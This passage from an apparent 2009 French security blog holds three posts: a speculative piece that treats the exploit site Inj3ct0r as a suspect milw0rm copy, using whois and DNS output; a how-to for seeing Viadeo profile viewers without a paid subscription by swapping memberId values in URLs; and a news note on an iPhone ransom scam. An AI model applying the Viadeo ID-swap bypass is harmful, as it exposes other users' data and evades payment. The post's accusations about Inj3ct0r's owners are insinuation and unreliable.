On peut donc alors se demander mais pourquoi cet Hoax ?

str0ke est le mainteneur du très célèbre site Milw0rm. Celui ci récupère et publie depuis plusieurs années les exploits développés par tout hacker. Une confiance a été accordée à ce site par la communauté de par l'origine et le sérieux du travail fourni pour publié cela. Cependant ces exploits ont une grosse valeur et pourraient etre gardés secret et utilisés à des fins néfastes si récupérés.

Un exemple de site suspicieux qui pourrait profiter de l'arret de milw0rm est Inj3ct0r. Ce site paru lors du 1er arret de milw0rm est une copie conforme donnant la sensation d'etre un site de phishing.

L'objectif du site est identique à milw0rm sauf que nous ne connaissons pas ses propriétaires. En creusant un peu on obtient ceci :
(23:51:53 cloud ~) 0 $ whois inj3ct0r.com

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

	Domain Name: INJ3CT0R.COM
	Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM
	Whois Server: whois.PublicDomainRegistry.com
	Referral URL: http://www.PublicDomainRegistry.com
	Name Server: NS.SECONDARY.NET.UA
	Name Server: WATEAM.ORG.UA
	Status: ok
	Updated Date: 20-jul-2009
	Creation Date: 13-dec-2008
	Expiration Date: 13-dec-2013
   
   Domain Name: INJ3CT0R.COM

	Registrant:
		milw0rm now at inj3ct0r.com
		str0ke aka r00t0ro0t3r        (e-c-h-0@mail.ru)
		Burdenko 43
		inj3ct0r
		Adana,123000
		TR
		Tel. +7.4953216549

	Creation Date: 13-Dec-2008
	Expiration Date: 13-Dec-2013

	Domain servers in listed order:
		ns.secondary.net.ua
		wateam.org.ua
		
	Administrative Contact:
		inj3ct0r
		str0ke aka r00t0ro0t3r        (e-c-h-0@mail.ru)
		Burdenko 43
		inj3ct0r
		Adana,123000
		TR
		Tel. +7.4953216549

	Technical Contact:
		inj3ct0r
		str0ke aka r00t0ro0t3r        (e-c-h-0@mail.ru)
		Burdenko 43
		inj3ct0r
		Adana,123000
		TR
		Tel. +7.4953216549

	Billing Contact:
		inj3ct0r
		str0ke aka r00t0ro0t3r        (e-c-h-0@mail.ru)
		Burdenko 43
		inj3ct0r
		Adana,123000
		TR
		Tel. +7.4953216549
Ce site se fait donc passer pour appartenant à str0ke, ce qui n'est pas du tout le cas et nous indique paraitre russe (e-c-h-0@mail.ru).

De plus :
(00:32:15 cloud ~) 0 $ nslookup 77.120.101.8

Non-authoritative answer:
8.101.120.77.in-addr.arpa       name = 8.101.120.77.colo.static.dc.volia.com.

Authoritative answers can be found from:
101.120.77.in-addr.arpa nameserver = ns1.dc.volia.com.
101.120.77.in-addr.arpa nameserver = ns0.dc.volia.com.
ns0.dc.volia.com        internet address = 82.144.220.7
ns1.dc.volia.com        internet address = 82.144.220.2
Et ce Volia DC est un hébergeur Ukrainien, zone privilégié pour le cybercrime au vu des statistiques.

Inj3ct0r est donc l'exemple meme du site qui pourrait tenter de voler "la clientèle de milw0rm" afin de gagner des 0day et de les revendre ou de les utiliser pour consistuer des botnet. Bref peut etre que l'avenir nous le dira.

D'ailleurs l'article évoqué précédement (Backtrack) nous annonce tenter de continuer sur la lancée de milw0rm et de créer une nouvelle base d'exploits. Les responsables sont déjà plus reconnus ... que va en penser la communauté ? :)

Posté par cloud | permalien | dans : Security

03-11-2009 21:57:46

[Secu] Comment voir qui a regarde votre profil Viadeo sans payer ?

Ce matin en regardant mes mails, j'ai observé une chose étrange dans un mail Viadeo. Un lien depuis ce mail m'amenait directement sur le profil de quelqu'un qui n'était pas dans mes contacts. Ce lien a un ID encoder en je ne sais quoi. Je me suis donc penché un peu la dessus et me suis dit qu'il y avait peut etre moyen de voir qui avait regardé notre profil sans s'abonner et donc payer un abonnement Premium.

Je me suis donc loggé sur mon compte Viadeo et suis allé sur la page de "Ils ont consulté mon profil ?" sur la page http://www.viadeo.com/monreseau/consultation/. On constate la que tous les liens nous conduisent vers une page d'abonnement. J'ai donc décidé de regarder comment les photos étaient affichées et la j'ai constaté un lien du style :
http://www.viadeo.com/servlet/photo?memberId=XXXXXXXXXXXXXXXX&ts=946681200000&type=0
Et la au miracle on constate que la var memberId est de la meme forme que l'ID du lien de mon mail de la forme :
http://www.viadeo.com/recherche/profil/?memberId=XXXXXXXXXXXXXXXX
Il suffit donc alors de récupérer le memberId de notre photo et de le mettre à la place du memberId du lien de notre mail et la on peut regarder tranquillement le profil de la personne qui a regardé notre profil sans payer :D

Bon la seule restriction est que le contact doit avoir une photo mais c'est déjà mieux que rien ;)

Posté par cloud | permalien | dans : Security

03-11-2009 21:35:43

[Secu] Rancon pour piratage d'Iphone

Mes 2 derniers articles étaient consacrés au fait que jailbreaker un iphone ouvre des brèches de sécurité si un minimum de sécurisation n'était pas appliqué par la suite et bien voila que benoit me passe un lien vers un magnifique article paru aujourd'hui expliquant qu' un jeune pirate allemand s'amuse à prendre le controle d'iphone jailbreaké via SSH à travers internet et y installe un programme malveillant faisant apparaitre une popup expliquant que l'iphone de la personne n'est pas sécurisé et que pour faire disparaitre ce programme il allait falloir payer une sorte de rancon via Paypal !

Bon avec tout ca si vous n'avez pas compris qu'il faut sécuriser votre iphone, je ne sais plus ce qu'il vous faut :)

Pour l'article, c'est ici : http://blogs.zdnet.com/security/?p=4805&tag=nl.e539

Posté par cloud | permalien | dans : Security